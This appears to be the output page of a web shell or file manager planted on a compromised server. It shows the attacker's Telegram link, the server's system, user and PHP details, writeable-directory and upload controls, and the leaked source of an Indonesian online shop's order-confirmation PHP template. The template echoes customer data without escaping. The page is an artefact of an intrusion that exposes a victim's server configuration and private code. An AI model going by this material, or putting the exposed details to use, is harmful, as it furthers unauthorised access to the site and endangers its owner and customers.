https://t.me/RX1948
Server : Apache/2.4.18 (Ubuntu)
System : Linux canvaswebdesign 3.13.0-71-generic #114-Ubuntu SMP Tue Dec 1 02:34:22 UTC 2015 x86_64
User : oppastar ( 1041)
PHP Version : 7.0.33-0ubuntu0.16.04.15
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
Directory :  /var/www/laciasmara.com/public_html/shop/application/views/payment/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/laciasmara.com/public_html/shop/application/views/payment/order-confirmation.php
<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title><?= $browser_title ?></title>
    <meta name="description" content="<?= $meta_description; ?>">
    <script src="https://cdn.tailwindcss.com"></script>
    <link rel="icon" href="<?= base_url() . 'uploads/' . $website_icon; ?>">
    <link href="https://cdn.jsdelivr.net/npm/remixicon@3.5.0/fonts/remixicon.css" rel="stylesheet">
    <script>
        tailwind.config = {
            theme: {
                extend: {
                    colors: {
                        'brand-purple': '#7A4397'
                    }
                }
            }
        }
    </script>
    <style>
        body {
            color: #333;
        }
    </style>
</head>

<body class="bg-gray-100">
    <div class="container mx-auto px-4 py-8 max-w-6xl">
        <div class="bg-white rounded-lg shadow-lg overflow-hidden">
            <!-- Success Header -->
            <div class="text-center py-6 bg-white">
                <div class="text-6xl text-brand-purple mb-4">
                    <i class="ri-checkbox-circle-fill"></i>
                </div>
                <h1 class="text-3xl font-bold text-gray-800">Pesanan Berhasil!</h1>
                <p class="text-gray-600 mt-2">
                    Yay! Pesanan kamu dengan nomor <strong>#<?= $orderData['id_orders'] ?></strong> udah dikonfirmasi.
                    Cek email kamu di <strong><?= $orderData['customer_email'] ?></strong>, siapa tahu udah nyampe 😉.
                </p>
            </div>

            <div class="flex flex-col md:flex-row p-6 gap-6">
                <!-- Bank Transfer Information Section (Left Side) -->
                <div class="w-full md:w-2/3 space-y-4">
                    <h2 class="text-xl font-semibold mb-4 text-brand-purple">Cara Bayarnya</h2>
                    <div class="bg-gray-50 p-2 rounded-lg">
                        <div class="space-y-2 mb-3">
                            <p class="font-medium">Transfer ke:</p>
                            <p><strong>Bank Name:</strong> <?= $bankData['bank_name'] ?></p>
                            <div class="flex items-center space-x-2">
                                <p><strong>Account Number:</strong> <?= $bankData['account_number'] ?></p>
                                <button id="copyAccountBtn" class="text-brand-purple hover:text-opacity-80 flex items-center space-x-1">
                                    <i class="ri-file-copy-line"></i>
                                    <span class="text-sm">Salin</span>
                                </button>
                            </div>
                            <p><strong>Account Name:</strong> <?= $bankData['account_holder'] ?></p>
                            <p class="font-medium">Lakukan Pembayaran Dalam 24 Jam dan Konfirmasi Pembayaran Kamu</p>
                        </div>
                        <div class="md:text-right">
                            <p class="text-md text-gray-600">Total Transfer:</p>
                            <p class="font-bold text-lg text-brand-purple">
                                Rp <?= number_format($orderData['grand_total_amount'], 0, ',', '.') ?>
                            </p>
                        </div>
                    </div>
                </div>

                <!-- Recipient Information Section (Right Side) -->
                <div class="w-full md:w-1/3">
                    <h2 class="text-xl font-semibold mb-4 md:ml-4 text-brand-purple">
                        <?= empty($orderData['gift_receiver_name']) ? 'Dikirim Untuk' : 'Hadiah Untuk' ?>
                    </h2>
                    <div class="bg-gray-50 md:p-4 rounded-lg">
                        <div class="space-y-4">
                            <?php if (empty($orderData['gift_receiver_name'])): ?>
                                <!-- Nama dan Alamat Penerima -->
                                <div>
                                    <p class="font-medium text-gray-600">Nama Penerima</p>
                                    <p class="text-md text-gray-800"><?= $orderData['shipping_name'] ?></p>
                                </div>

                                <div>
                                    <p class="font-medium text-gray-600">Alamat Penerima</p>
                                    <p class="text-md text-gray-800"><?= $orderData['shipping_address'] ?>. <?= $orderData['shipping_province'] ?>, <?= $orderData['shipping_district'] ?>, <?= $orderData['shipping_subdistrict'] ?></p>
                                </div>
                            <?php else: ?>
                                <!-- Nama dan Telepon Penerima Hadiah -->
                                <div>
                                    <p class="font-medium text-gray-600">Nama Penerima</p>
                                    <p class="text-md text-gray-800"><?= $orderData['gift_receiver_name'] ?> - <?= $orderData['gift_receiver_phone'] ?></p>
                                </div>
                                <div>
                                    <p class="font-medium text-gray-600">Alamat Penerima</p>
                                    <p class="text-md text-gray-800"><?= $orderData['shipping_address'] ?>. <?= $orderData['shipping_province'] ?>, <?= $orderData['shipping_district'] ?>, <?= $orderData['shipping_subdistrict'] ?></p>
                                </div>
                            <?php endif; ?>
                        </div>
                    </div>
                </div>
            </div>


            <!-- Order Content -->
            <div class="flex flex-col md:flex-row p-6 gap-6">
                <!-- Left Section: Order Details -->
                <div class="w-full md:w-2/3 space-y-4">
                    <div class="bg-gray-50 p-4 rounded-lg">
                        <h2 class="text-xl font-semibold mb-4 text-brand-purple">Detail Pesanan</h2>
                        <?php foreach ($orderDetails as $product): ?>
                            <div class="flex items-center justify-between py-3 border-b last:border-b-0">
                                <div class="flex items-center space-x-4">
                                    <img src="<?= !empty($product['item_image']) ? base_url('uploads/product/' . $product['item_image']) : base_url('uploads/default-placeholder.png') ?>"
                                        alt="<?= $product['item_name'] ?>"
                                        class="w-16 h-16 object-cover rounded">
                                    <div>
                                        <p class="font-medium"><?= $product['item_name'] ?></p>
                                        <p class="text-gray-500 text-sm">Jumlah: <?= $product['quantity'] ?></p>
                                    </div>
                                </div>
                                <p class="font-semibold">
                                    Rp <?= number_format($product['item_price'] * $product['quantity'], 0, ',', '.') ?>
                                </p>
                            </div>
                        <?php endforeach; ?>
                    </div>
                </div>

                <!-- Right Section: Checkout Summary -->
                <div class="w-full md:w-1/3">
                    <div class="bg-gray-50 p-4 rounded-lg sticky top-6">
                        <h2 class="text-xl font-semibold mb-4 text-brand-purple">Ringkasan Pesanan</h2>
                        <div class="space-y-3">
                            <div class="flex justify-between">
                                <span class="text-gray-600 w-1/2 truncate">Subtotal</span>
                                <span class="w-1/2 text-right">IDR <?= number_format($orderData['total_amount'], 0, ',', '.') ?></span>
                            </div>
                            <div class="flex justify-between">
                                <span class="text-gray-600 w-1/2 truncate">Biaya Pengiriman</span>
                                <span class="w-1/2 text-right">
                                    <?php if ($orderData['shipping_fee'] == 0): ?>
                                        <span class="text-green-600">Free</span>
                                    <?php else: ?>
                                        IDR <?= number_format($orderData['shipping_fee'], 0, ',', '.') ?>
                                    <?php endif; ?>
                                </span>
                            </div>
                            <?php if ($orderData['insurance_status'] == "Yes"): ?>
                                <div class="flex justify-between">
                                    <span class="text-gray-600 w-1/2 truncate">Asuransi Pengiriman</span>
                                    <span class="w-1/2 text-right">IDR <?= number_format($orderData['insurance_cost'] ?? 0, 0, ',', '.') ?></span>
                                </div>
                            <?php endif; ?>
                            <?php if (!empty($orderData['redeemed_voucher_code'])): ?>
                                <div class="flex justify-between">
                                    <span class="text-gray-600 w-1/2 truncate">Voucher <?= $orderData['redeemed_voucher_code'] ?></span>
                                    <span class="w-1/2 text-right text-green-600">
                                        - IDR <?= number_format($orderData['redeemed_voucher_amount'] ?? 0, 0, ',', '.') ?>
                                    </span>
                                </div>
                            <?php endif; ?>
                            <?php if ($orderData['minus_reward'] > 0): ?>
                                <div class="flex justify-between">
                                    <span class="text-gray-600 w-1/2 truncate">Penukaran <?= $orderData['minus_reward'] ?> poin</span>
                                    <span class="w-1/2 text-right text-green-600">
                                        - IDR <?= number_format($orderData['minus_reward_amount'] ?? 0, 0, ',', '.') ?>
                                    </span>
                                </div>
                            <?php endif; ?>
                            <div class="flex justify-between font-bold text-lg border-t pt-3">
                                <span class="w-1/2">Total</span>
                                <span class="w-1/2 text-right text-brand-purple">
                                    IDR <?= number_format($orderData['grand_total_amount'], 0, ',', '.') ?>
                                </span>
                            </div>
                        </div>

                        <button onclick="window.location.href='<?= base_url('account/order_history') ?>'"
                            class="w-full mt-4 bg-brand-purple text-white py-3 rounded hover:bg-opacity-90 transition">
                            Konfirmasi Pesanan
                        </button>
                    </div>
                </div>
            </div>

            <!-- Action Buttons -->
            <div class="p-6 bg-gray-100 flex space-x-4">
                <button onclick="window.location.href='<?= base_url() ?>'"
                    class="flex-1 bg-brand-purple text-white py-3 rounded hover:bg-opacity-90 transition">
                    Lanjut Belanja
                </button>
            </div>
        </div>
    </div>

    <script>
        document.getElementById('copyAccountBtn').addEventListener('click', () => {
            const accountNumber = '<?= $bankData['account_number'] ?>';
            navigator.clipboard.writeText(accountNumber).then(() => {
                alert('Nomor rekening berhasil disalin!');
            });
        });

        // Entrance animation
        document.addEventListener('DOMContentLoaded', () => {
            const container = document.querySelector('.container');
            container.style.opacity = 0;
            container.style.transform = 'translateY(20px)';

            setTimeout(() => {
                container.style.transition = 'all 0.5s ease';
                container.style.opacity = 1;
                container.style.transform = 'translateY(0)';
            }, 100);
        });
    </script>
</body>

</html>

https://t.me/RX1948 - 2025